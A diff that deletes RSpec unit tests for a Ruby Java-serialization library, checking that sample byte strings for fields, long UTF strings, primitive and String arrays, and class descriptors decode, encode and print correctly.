expect(field.decode(sample_primitive_io)).to be_a(Rex::Java::Serialization::Model::Field)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes field type" do
|
|
||||||
field.decode(sample_primitive_io)
|
|
||||||
expect(field.type).to eq('int')
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes field name as Utf" do
|
|
||||||
field.decode(sample_primitive_io)
|
|
||||||
expect(field.name.contents).to eq('number')
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when stream contains an object field" do
|
|
||||||
it "returns a Rex::Java::Serialization::Model::Field" do
|
|
||||||
expect(field.decode(sample_object_io)).to be_a(Rex::Java::Serialization::Model::Field)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes field type" do
|
|
||||||
field.decode(sample_object_io)
|
|
||||||
expect(field.type).to eq('array')
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes field name" do
|
|
||||||
field.decode(sample_object_io)
|
|
||||||
expect(field.name.contents).to eq('test_array')
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes field_type string" do
|
|
||||||
field.decode(sample_object_io)
|
|
||||||
expect(field.field_type.contents).to eq('[LEmployee;')
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#to_s" do
|
|
||||||
it "prints an stream containing a primitive field" do
|
|
||||||
field.decode(sample_primitive_io)
|
|
||||||
expect(field.to_s).to eq('number (int)')
|
|
||||||
end
|
|
||||||
|
|
||||||
it "prints an stream containing an object field" do
|
|
||||||
field.decode(sample_object_io)
|
|
||||||
expect(field.to_s).to eq('test_array ([LEmployee;)')
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,107 +0,0 @@
|
||||||
# -*- coding:binary -*-
|
|
||||||
require 'spec_helper'
|
|
||||||
|
|
||||||
require 'rex/java'
|
|
||||||
require 'stringio'
|
|
||||||
|
|
||||||
RSpec.describe Rex::Java::Serialization::Model::LongUtf do
|
|
||||||
subject(:long_utf) do
|
|
||||||
described_class.new
|
|
||||||
end
|
|
||||||
|
|
||||||
let(:sample_utf) { "\x00\x00\x00\x00\x00\x00\x00\x10java.lang.Number" }
|
|
||||||
let(:sample_utf_io) { StringIO.new(sample_utf) }
|
|
||||||
let(:empty_utf) { "\x00\x00\x00\x00\x00\x00\x00\x00" }
|
|
||||||
let(:empty_utf_io) { StringIO.new(empty_utf) }
|
|
||||||
let(:incomplete_utf) { "\x00\x00\x00\x00\x00\x00\x00\x10java.lang.Numb" }
|
|
||||||
let(:incomplete_utf_io) { StringIO.new(incomplete_utf) }
|
|
||||||
let(:empty_io) { StringIO.new('') }
|
|
||||||
|
|
||||||
describe ".new" do
|
|
||||||
it "Rex::Java::Serialization::Model::LongUtf" do
|
|
||||||
expect(long_utf).to be_a(Rex::Java::Serialization::Model::LongUtf)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "initializes length to 0" do
|
|
||||||
expect(long_utf.length).to eq(0)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "initializes contents with empty string" do
|
|
||||||
expect(long_utf.contents).to be_empty
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#encode" do
|
|
||||||
context "when empty long_utf" do
|
|
||||||
it { expect(long_utf.encode).to eq(empty_utf) }
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when filled utf" do
|
|
||||||
it do
|
|
||||||
long_utf.length = 16
|
|
||||||
long_utf.contents = 'java.lang.Number'
|
|
||||||
expect(long_utf.encode).to eq(sample_utf)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#decode" do
|
|
||||||
context "when stream contains empty string" do
|
|
||||||
it "raises Rex::Java::Serialization::DecodeError" do
|
|
||||||
expect { long_utf.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when stream contains empty long_utf" do
|
|
||||||
it "returns a Rex::Java::Serialization::Model::LongUtf" do
|
|
||||||
expect(long_utf.decode(empty_utf_io)).to be_a(Rex::Java::Serialization::Model::LongUtf)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "sets length to 0" do
|
|
||||||
long_utf.decode(empty_utf_io)
|
|
||||||
expect(long_utf.length).to eq(0)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "sets contents to empty string" do
|
|
||||||
long_utf.decode(empty_utf_io)
|
|
||||||
expect(long_utf.contents).to be_empty
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when stream contains incomplete long_utf" do
|
|
||||||
it "returns nil" do
|
|
||||||
expect { long_utf.decode(incomplete_utf_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when stream contains correct long_utf" do
|
|
||||||
|
|
||||||
it "returns a Rex::Java::Serialization::Model::LongUtf" do
|
|
||||||
expect(long_utf.decode(sample_utf_io)).to be_a(Rex::Java::Serialization::Model::LongUtf)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "sets length to 0" do
|
|
||||||
long_utf.decode(sample_utf_io)
|
|
||||||
expect(long_utf.length).to eq(16)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "sets contents to sample string" do
|
|
||||||
long_utf.decode(sample_utf_io)
|
|
||||||
expect(long_utf.contents).to eq('java.lang.Number')
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#to_s" do
|
|
||||||
it "prints an stream containing a sample long utf" do
|
|
||||||
long_utf.decode(sample_utf_io)
|
|
||||||
expect(long_utf.to_s).to eq('java.lang.Number')
|
|
||||||
end
|
|
||||||
|
|
||||||
it "prints an stream containing an empty long utf" do
|
|
||||||
long_utf.decode(empty_utf_io)
|
|
||||||
expect(long_utf.to_s).to eq('')
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
|
@ -1,469 +0,0 @@
|
||||||
# -*- coding:binary -*-
|
|
||||||
require 'spec_helper'
|
|
||||||
|
|
||||||
require 'rex/java'
|
|
||||||
require 'stringio'
|
|
||||||
|
|
||||||
RSpec.describe Rex::Java::Serialization::Model::NewArray do
|
|
||||||
subject(:new_array) do
|
|
||||||
described_class.new
|
|
||||||
end
|
|
||||||
|
|
||||||
let(:boolean_array) do
|
|
||||||
"\x72\x00\x02\x5b\x5a\x57\x8f\x20" +
|
|
||||||
"\x39\x14\xb8\x5d\xe2\x02\x00\x00" +
|
|
||||||
"\x78\x70\x00\x00\x00\x0a\x01\x00" +
|
|
||||||
"\x01\x01\x01\x01\x01\x01\x01\x00"
|
|
||||||
end
|
|
||||||
let(:boolean_array_io) { StringIO.new(boolean_array) }
|
|
||||||
|
|
||||||
let(:byte_array) do
|
|
||||||
"\x72\x00\x02\x5b\x42\xac\xf3\x17" +
|
|
||||||
"\xf8\x06\x08\x54\xe0\x02\x00\x00" +
|
|
||||||
"\x78\x70\x00\x00\x00\x02\xec\x41"
|
|
||||||
end
|
|
||||||
let(:byte_array_io) { StringIO.new(byte_array) }
|
|
||||||
|
|
||||||
let(:char_array) do
|
|
||||||
"\x72\x00\x02\x5b\x43\xb0\x26\x66" +
|
|
||||||
"\xb0\xe2\x5d\x84\xac\x02\x00\x00" +
|
|
||||||
"\x78\x70\x00\x00\x00\x02\x00\x61" +
|
|
||||||
"\x00\x62"
|
|
||||||
end
|
|
||||||
let(:char_array_io) { StringIO.new(char_array) }
|
|
||||||
|
|
||||||
let(:short_array) do
|
|
||||||
"\x72\x00\x02\x5b\x53\xef\x83\x2e" +
|
|
||||||
"\x06\xe5\x5d\xb0\xfa\x02\x00\x00" +
|
|
||||||
"\x78\x70\x00\x00\x00\x02\xff\xec" +
|
|
||||||
"\x00\x41"
|
|
||||||
end
|
|
||||||
let(:short_array_io) { StringIO.new(short_array) }
|
|
||||||
|
|
||||||
let(:double_array) do
|
|
||||||
"\x72\x00\x02\x5b\x44\x3e\xa6\x8c" +
|
|
||||||
"\x14\xab\x63\x5a\x1e\x02\x00\x00" +
|
|
||||||
"\x78\x70\x00\x00\x00\x02\x3f\xd0" +
|
|
||||||
"\x00\x00\x00\x00\x00\x00\x3f\xca" +
|
|
||||||
"\xe1\x47\xae\x14\x7a\xe1"
|
|
||||||
end
|
|
||||||
let(:double_array_io) { StringIO.new(double_array) }
|
|
||||||
|
|
||||||
let(:float_array) do
|
|
||||||
"\x72\x00\x02\x5b\x46\x0b\x9c\x81" +
|
|
||||||
"\x89\x22\xe0\x0c\x42\x02\x00\x00" +
|
|
||||||
"\x78\x70\x00\x00\x00\x02\x3f\x80" +
|
|
||||||
"\x00\x00\x40\x00\x00\x00"
|
|
||||||
end
|
|
||||||
let(:float_array_io) { StringIO.new(float_array) }
|
|
||||||
|
|
||||||
let(:int_array) do
|
|
||||||
"\x72\x00\x02\x5b\x49\x4d\xba\x60" +
|
|
||||||
"\x26\x76\xea\xb2\xa5\x02\x00\x00" +
|
|
||||||
"\x78\x70\x00\x00\x00\x02\xff\xff" +
|
|
||||||
"\xff\xec\x00\x00\x00\x41"
|
|
||||||
end
|
|
||||||
let(:int_array_io) { StringIO.new(int_array) }
|
|
||||||
|
|
||||||
let(:long_array) do
|
|
||||||
"\x72\x00\x02\x5b\x4a\x78\x20\x04" +
|
|
||||||
"\xb5\x12\xb1\x75\x93\x02\x00\x00" +
|
|
||||||
"\x78\x70\x00\x00\x00\x02\xff\xff" +
|
|
||||||
"\xff\xff\xff\xff\xff\xec\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00\x00\x41"
|
|
||||||
end
|
|
||||||
let(:long_array_io) { StringIO.new(long_array) }
|
|
||||||
|
|
||||||
let(:string_array) do
|
|
||||||
"\x72\x00\x13\x5b\x4c\x6a\x61\x76" +
|
|
||||||
"\x61\x2e\x6c\x61\x6e\x67\x2e\x53" +
|
|
||||||
"\x74\x72\x69\x6e\x67\x3b\xad\xd2" +
|
|
||||||
"\x56\xe7\xe9\x1d\x7b\x47\x02\x00" +
|
|
||||||
"\x00\x78\x70\x00\x00\x00\x01\x74" +
|
|
||||||
"\x00\x03\x6d\x73\x66"
|
|
||||||
end
|
|
||||||
let(:string_array_io) { StringIO.new(string_array) }
|
|
||||||
|
|
||||||
describe ".new" do
|
|
||||||
it "Rex::Java::Serialization::Model::NewArray" do
|
|
||||||
expect(new_array).to be_a(Rex::Java::Serialization::Model::NewArray)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "initializes array_description with nil" do
|
|
||||||
expect(new_array.array_description).to be_nil
|
|
||||||
end
|
|
||||||
|
|
||||||
it "initializes type with an empty String" do
|
|
||||||
expect(new_array.type).to be_empty
|
|
||||||
end
|
|
||||||
|
|
||||||
it "initializes values with an empty Array" do
|
|
||||||
expect(new_array.values).to be_empty
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#decode" do
|
|
||||||
|
|
||||||
context "when boolean Array" do
|
|
||||||
it "deserializes Array" do
|
|
||||||
expect(new_array.decode(boolean_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes type correctly" do
|
|
||||||
new_array.decode(boolean_array_io)
|
|
||||||
expect(new_array.type).to eq('boolean')
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes values correctly" do
|
|
||||||
new_array.decode(boolean_array_io)
|
|
||||||
expect(new_array.values).to eq([1, 0, 1, 1, 1, 1, 1, 1, 1, 0])
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when byte Array" do
|
|
||||||
it "deserializes Array" do
|
|
||||||
expect(new_array.decode(byte_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes type correctly" do
|
|
||||||
new_array.decode(byte_array_io)
|
|
||||||
expect(new_array.type).to eq('byte')
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes values correctly" do
|
|
||||||
new_array.decode(byte_array_io)
|
|
||||||
expect(new_array.values).to eq([-20, 65])
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when char Array" do
|
|
||||||
it "deserializes Array" do
|
|
||||||
expect(new_array.decode(char_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes type correctly" do
|
|
||||||
new_array.decode(char_array_io)
|
|
||||||
expect(new_array.type).to eq('char')
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes values correctly" do
|
|
||||||
new_array.decode(char_array_io)
|
|
||||||
expect(new_array.values).to eq([97, 98])
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when short Array" do
|
|
||||||
it "deserializes Array" do
|
|
||||||
expect(new_array.decode(short_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes type correctly" do
|
|
||||||
new_array.decode(short_array_io)
|
|
||||||
expect(new_array.type).to eq('short')
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes values correctly" do
|
|
||||||
new_array.decode(short_array_io)
|
|
||||||
expect(new_array.values).to eq([-20, 65])
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when double Array" do
|
|
||||||
it "deserializes Array" do
|
|
||||||
expect(new_array.decode(double_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes type correctly" do
|
|
||||||
new_array.decode(double_array_io)
|
|
||||||
expect(new_array.type).to eq('double')
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes values correctly" do
|
|
||||||
new_array.decode(double_array_io)
|
|
||||||
expect(new_array.values).to eq([0.25, 0.21])
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when float Array" do
|
|
||||||
it "deserializes a float Array" do
|
|
||||||
expect(new_array.decode(float_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes type correctly" do
|
|
||||||
new_array.decode(float_array_io)
|
|
||||||
expect(new_array.type).to eq('float')
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes values correctly" do
|
|
||||||
new_array.decode(float_array_io)
|
|
||||||
expect(new_array.values).to eq([1.0, 2.0])
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when int Array" do
|
|
||||||
it "deserializes Array" do
|
|
||||||
expect(new_array.decode(int_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes type correctly" do
|
|
||||||
new_array.decode(int_array_io)
|
|
||||||
expect(new_array.type).to eq('int')
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes values correctly" do
|
|
||||||
new_array.decode(int_array_io)
|
|
||||||
expect(new_array.values).to eq([-20, 65])
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when long Array" do
|
|
||||||
it "deserializes Array" do
|
|
||||||
expect(new_array.decode(long_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes type correctly" do
|
|
||||||
new_array.decode(long_array_io)
|
|
||||||
expect(new_array.type).to eq('long')
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes values correctly" do
|
|
||||||
new_array.decode(long_array_io)
|
|
||||||
expect(new_array.values).to eq([-20, 65])
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when Strings (Objects) array" do
|
|
||||||
it "deserializes the array" do
|
|
||||||
expect(new_array.decode(string_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes type correctly" do
|
|
||||||
new_array.decode(string_array_io)
|
|
||||||
expect(new_array.type).to eq('java.lang.String;')
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes number of members correctly" do
|
|
||||||
new_array.decode(string_array_io)
|
|
||||||
expect(new_array.values.length).to eq(1)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes the members correctly" do
|
|
||||||
new_array.decode(string_array_io)
|
|
||||||
expect(new_array.values[0].contents).to eq('msf')
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#encode" do
|
|
||||||
it "serializes a boolean Array" do
|
|
||||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
|
||||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Z')
|
|
||||||
new_class_desc.serial_version = 0x578f203914b85de2
|
|
||||||
new_class_desc.flags = 2
|
|
||||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
|
||||||
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
||||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
|
||||||
|
|
||||||
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_array.array_description.description = new_class_desc
|
|
||||||
new_array.type = 'boolean'
|
|
||||||
new_array.values = [1, 0, 1, 1, 1, 1, 1, 1, 1, 0]
|
|
||||||
|
|
||||||
expect(new_array.encode.unpack("C*")).to eq(boolean_array.unpack("C*"))
|
|
||||||
end
|
|
||||||
|
|
||||||
it "serializes a byte Array" do
|
|
||||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
|
||||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[B')
|
|
||||||
new_class_desc.serial_version = 0xacf317f8060854e0
|
|
||||||
new_class_desc.flags = 2
|
|
||||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
|
||||||
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
||||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
|
||||||
|
|
||||||
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_array.array_description.description = new_class_desc
|
|
||||||
new_array.type = 'byte'
|
|
||||||
new_array.values = [-20, 65]
|
|
||||||
|
|
||||||
expect(new_array.encode.unpack("C*")).to eq(byte_array.unpack("C*"))
|
|
||||||
end
|
|
||||||
|
|
||||||
it "serializes a char Array" do
|
|
||||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
|
||||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[C')
|
|
||||||
new_class_desc.serial_version = 0xb02666b0e25d84ac
|
|
||||||
new_class_desc.flags = 2
|
|
||||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
|
||||||
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
||||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
|
||||||
|
|
||||||
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_array.array_description.description = new_class_desc
|
|
||||||
new_array.type = 'char'
|
|
||||||
new_array.values = [97, 98]
|
|
||||||
|
|
||||||
expect(new_array.encode.unpack("C*")).to eq(char_array.unpack("C*"))
|
|
||||||
end
|
|
||||||
|
|
||||||
it "serializes a short Array" do
|
|
||||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
|
||||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[S')
|
|
||||||
new_class_desc.serial_version = 0xef832e06e55db0fa
|
|
||||||
new_class_desc.flags = 2
|
|
||||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
|
||||||
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
||||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
|
||||||
|
|
||||||
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_array.array_description.description = new_class_desc
|
|
||||||
new_array.type = 'short'
|
|
||||||
new_array.values = [-20, 65]
|
|
||||||
|
|
||||||
expect(new_array.encode.unpack("C*")).to eq(short_array.unpack("C*"))
|
|
||||||
end
|
|
||||||
|
|
||||||
it "serializes a double Array" do
|
|
||||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
|
||||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[D')
|
|
||||||
new_class_desc.serial_version = 0x3ea68c14ab635a1e
|
|
||||||
new_class_desc.flags = 2
|
|
||||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
|
||||||
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
||||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
|
||||||
|
|
||||||
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_array.array_description.description = new_class_desc
|
|
||||||
new_array.type = 'double'
|
|
||||||
new_array.values = [0.25, 0.21]
|
|
||||||
|
|
||||||
expect(new_array.encode.unpack("C*")).to eq(double_array.unpack("C*"))
|
|
||||||
end
|
|
||||||
|
|
||||||
it "serializes a float Array" do
|
|
||||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
|
||||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[F')
|
|
||||||
new_class_desc.serial_version = 0xb9c818922e00c42
|
|
||||||
new_class_desc.flags = 2
|
|
||||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
|
||||||
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
||||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
|
||||||
|
|
||||||
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_array.array_description.description = new_class_desc
|
|
||||||
new_array.type = 'float'
|
|
||||||
new_array.values = [1.0, 2.0]
|
|
||||||
|
|
||||||
expect(new_array.encode.unpack("C*")).to eq(float_array.unpack("C*"))
|
|
||||||
end
|
|
||||||
|
|
||||||
it "serializes a int Array" do
|
|
||||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
|
||||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[I')
|
|
||||||
new_class_desc.serial_version = 0x4dba602676eab2a5
|
|
||||||
new_class_desc.flags = 2
|
|
||||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
|
||||||
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
||||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
|
||||||
|
|
||||||
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_array.array_description.description = new_class_desc
|
|
||||||
new_array.type = 'int'
|
|
||||||
new_array.values = [-20, 65]
|
|
||||||
|
|
||||||
expect(new_array.encode.unpack("C*")).to eq(int_array.unpack("C*"))
|
|
||||||
end
|
|
||||||
|
|
||||||
it "serializes a long Array" do
|
|
||||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
|
||||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[J')
|
|
||||||
new_class_desc.serial_version = 0x782004b512b17593
|
|
||||||
new_class_desc.flags = 2
|
|
||||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
|
||||||
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
||||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
|
||||||
|
|
||||||
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_array.array_description.description = new_class_desc
|
|
||||||
new_array.type = 'long'
|
|
||||||
new_array.values = [-20, 65]
|
|
||||||
|
|
||||||
expect(new_array.encode.unpack("C*")).to eq(long_array.unpack("C*"))
|
|
||||||
end
|
|
||||||
|
|
||||||
it "serializes a String (Objects) Array" do
|
|
||||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
|
||||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.String;')
|
|
||||||
new_class_desc.serial_version = 0xadd256e7e91d7b47
|
|
||||||
new_class_desc.flags = 2
|
|
||||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
|
||||||
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
||||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
|
||||||
|
|
||||||
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_array.array_description.description = new_class_desc
|
|
||||||
new_array.type = 'java.lang.String;'
|
|
||||||
new_array.values = [ Rex::Java::Serialization::Model::Utf.new(nil, 'msf') ]
|
|
||||||
|
|
||||||
expect(new_array.encode.unpack("C*")).to eq(string_array.unpack("C*"))
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#to_s" do
|
|
||||||
it "prints a boolean array stream" do
|
|
||||||
new_array.decode(boolean_array_io)
|
|
||||||
expect(new_array.to_s).to eq('boolean, ["1", "0", "1", "1", "1", "1", "1", "1", "1", "0"]')
|
|
||||||
end
|
|
||||||
|
|
||||||
it "prints a byte array stream" do
|
|
||||||
new_array.decode(byte_array_io)
|
|
||||||
expect(new_array.to_s).to eq('byte, ["-20", "65"]')
|
|
||||||
end
|
|
||||||
|
|
||||||
it "prints a char array stream" do
|
|
||||||
new_array.decode(char_array_io)
|
|
||||||
expect(new_array.to_s).to eq('char, ["97", "98"]')
|
|
||||||
end
|
|
||||||
|
|
||||||
it "prints a short array stream" do
|
|
||||||
new_array.decode(short_array_io)
|
|
||||||
expect(new_array.to_s).to eq('short, ["-20", "65"]')
|
|
||||||
end
|
|
||||||
|
|
||||||
it "prints a double array stream" do
|
|
||||||
new_array.decode(double_array_io)
|
|
||||||
expect(new_array.to_s).to eq('double, ["0.25", "0.21"]')
|
|
||||||
end
|
|
||||||
|
|
||||||
it "prints a float array stream" do
|
|
||||||
new_array.decode(float_array_io)
|
|
||||||
expect(new_array.to_s).to eq('float, ["1.0", "2.0"]')
|
|
||||||
end
|
|
||||||
|
|
||||||
it "prints a int array stream" do
|
|
||||||
new_array.decode(int_array_io)
|
|
||||||
expect(new_array.to_s).to eq('int, ["-20", "65"]')
|
|
||||||
end
|
|
||||||
|
|
||||||
it "prints a long array stream" do
|
|
||||||
new_array.decode(long_array_io)
|
|
||||||
expect(new_array.to_s).to eq('long, ["-20", "65"]')
|
|
||||||
end
|
|
||||||
|
|
||||||
it "prints a string array stream" do
|
|
||||||
new_array.decode(string_array_io)
|
|
||||||
expect(new_array.to_s).to eq('java.lang.String;, ["msf"]')
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
|
@ -1,143 +0,0 @@
|
||||||
# -*- coding:binary -*-
|
|
||||||
require 'spec_helper'
|
|
||||||
|
|
||||||
require 'rex/java'
|
|
||||||
require 'stringio'
|
|
||||||
|
|
||||||
RSpec.describe Rex::Java::Serialization::Model::NewClassDesc do
|
|
||||||
subject(:class_desc_new) do
|
|
||||||
described_class.new
|
|
||||||
end
|
|
||||||
|
|
||||||
let(:sample) do
|
|
||||||
"\x00\x0e\x6a\x61\x76\x61\x2e\x6c\x61\x6e" +
|
|
||||||
"\x67\x2e\x42\x79\x74\x65\x9c\x4e\x60\x84\xee\x50\xf5\x1c\x02\x00" +
|
|
||||||
"\x01\x42\x00\x05\x76\x61\x6c\x75\x65\x78\x72\x00\x10\x6a\x61\x76" +
|
|
||||||
"\x61\x2e\x6c\x61\x6e\x67\x2e\x4e\x75\x6d\x62\x65\x72\x86\xac\x95" +
|
|
||||||
"\x1d\x0b\x94\xe0\x8b\x02\x00\x00\x78\x70"
|
|
||||||
end
|
|
||||||
|
|
||||||
let(:sample_io) { StringIO.new(sample) }
|
|
||||||
|
|
||||||
describe ".new" do
|
|
||||||
it "Rex::Java::Serialization::Model::NewClassDesc" do
|
|
||||||
expect(class_desc_new).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "initializes class_name with nil" do
|
|
||||||
expect(class_desc_new.class_name).to be_nil
|
|
||||||
end
|
|
||||||
|
|
||||||
it "initializes serial_version with 0" do
|
|
||||||
expect(class_desc_new.serial_version).to eq(0)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "initializes flags with 0" do
|
|
||||||
expect(class_desc_new.flags).to eq(0)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "initializes fields with empty Array" do
|
|
||||||
expect(class_desc_new.fields).to be_empty
|
|
||||||
end
|
|
||||||
|
|
